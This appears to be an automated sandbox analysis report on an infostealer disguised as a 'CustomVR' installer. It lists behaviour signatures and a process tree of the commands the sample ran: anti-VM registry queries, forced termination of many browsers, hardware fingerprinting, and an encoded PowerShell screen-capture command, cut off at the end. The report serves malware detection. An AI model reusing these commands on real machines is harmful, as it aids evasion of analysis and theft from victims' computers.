Analysis
- max time kernel
902s - max time network
903s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
28/06/2026, 02:00
General
- Target CustomVR-Setup-3.78.4.exe
- Size 114.4MB
- Sample260628-cfbreaey5z
- SHA256 6bb2f677cf18501468f813816578b5c03197c454fe0e11aaa71acfe7dcd71cfb
Malware Config
Signatures
- Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Looks for VMWare services registry key. 1 TTPs 1 IoCs
- Executes dropped EXE 5 IoCs
- Loads dropped DLL 17 IoCs
- Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to get system information.
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Drops file in Windows directory 1 IoCs
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 24 IoCs
Processor information is often read in order to detect sandboxing environments.
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Kills process with taskkill 29 IoCs
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies registry class 38 IoCs
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 53 IoCs
- Suspicious use of SendNotifyMessage 44 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\CustomVR-Setup-3.78.4.exe"C:\Users\Admin\AppData\Local\Temp\CustomVR-Setup-3.78.4.exe"1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if (Get-Command Get-CimInstance -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }"2⤵
- Hide Artifacts: Ignore Process Interrupts
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-ExecutionPolicy -Scope Process) -eq 'Restricted') { exit 1 } else { exit 0 }"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-CimInstance -ClassName Win32_Process | ? {$_.Path -and $_.Path.StartsWith('C:\Users\Admin\AppData\Local\Programs\CustomVR', 'CurrentCultureIgnoreCase')}).Count -gt 0) { exit 0 } else { exit 1 }"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe"C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe"C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --gpu-preferences=SAAAAAAAAADgAQAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --field-trial-handle=1884,i,3574290673273457260,15849238606509276602,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1888,i,1655019420706377622,9834290618004787434,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1880 /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe"C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --field-trial-handle=1884,i,3574290673273457260,15849238606509276602,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1888,i,1655019420706377622,9834290618004787434,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1916 /prefetch:112⤵
- Executes dropped EXE
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵
- Detects videocard installed
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell "(Get-PhysicalDisk).BusType""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "(Get-PhysicalDisk).BusType"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"3⤵
- Looks for VirtualBox Guest Additions in registry
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"3⤵
- Enumerates VirtualBox registry keys
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"3⤵
- Looks for VMWare Tools registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse"3⤵
- Looks for VMWare services registry key.
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\KVM""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\KVM"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get model3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get serialnumber3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell "[System.Windows.Forms.Cursor]::Position.X""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "[System.Windows.Forms.Cursor]::Position.X"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get processorid3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic baseboard get serialnumber3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "vol c:"2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe"C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --app-path="C:\Users\Admin\AppData\Local\Programs\CustomVR\resources\app.asar" --no-sandbox --no-zygote --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1782611982526413 --launch-time-ticks=631924602 --field-trial-handle=1884,i,3574290673273457260,15849238606509276602,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1888,i,1655019420706377622,9834290618004787434,4 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2852 /prefetch:12⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe"C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --field-trial-handle=1884,i,3574290673273457260,15849238606509276602,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1888,i,1655019420706377622,9834290618004787434,4 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3032 /prefetch:112⤵
- Executes dropped EXE
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vivaldi.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe /T"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM yandex.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM orbitum.exe /T"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM orbitum.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM atom.exe /T"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM atom.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM kometa.exe /T"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM kometa.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM torch.exe /T"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM torch.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM amigo.exe /T"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM amigo.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM coccoc.exe /T"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM coccoc.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM uran.exe /T"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM uran.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM slimjet.exe /T"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM slimjet.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM ivaldi.exe /T"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM ivaldi.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe /T"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM firefox.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get model3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "Get-MpComputerStatus"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "Get-MpComputerStatus"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA0ADIAMgA1AC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA0ADIAMgA1AC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8ANAAyADIANQAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADQAMgAyADUALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA0ADIAMgA1AC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA0ADIAMgA1AC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8ANAAyADIANQAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgA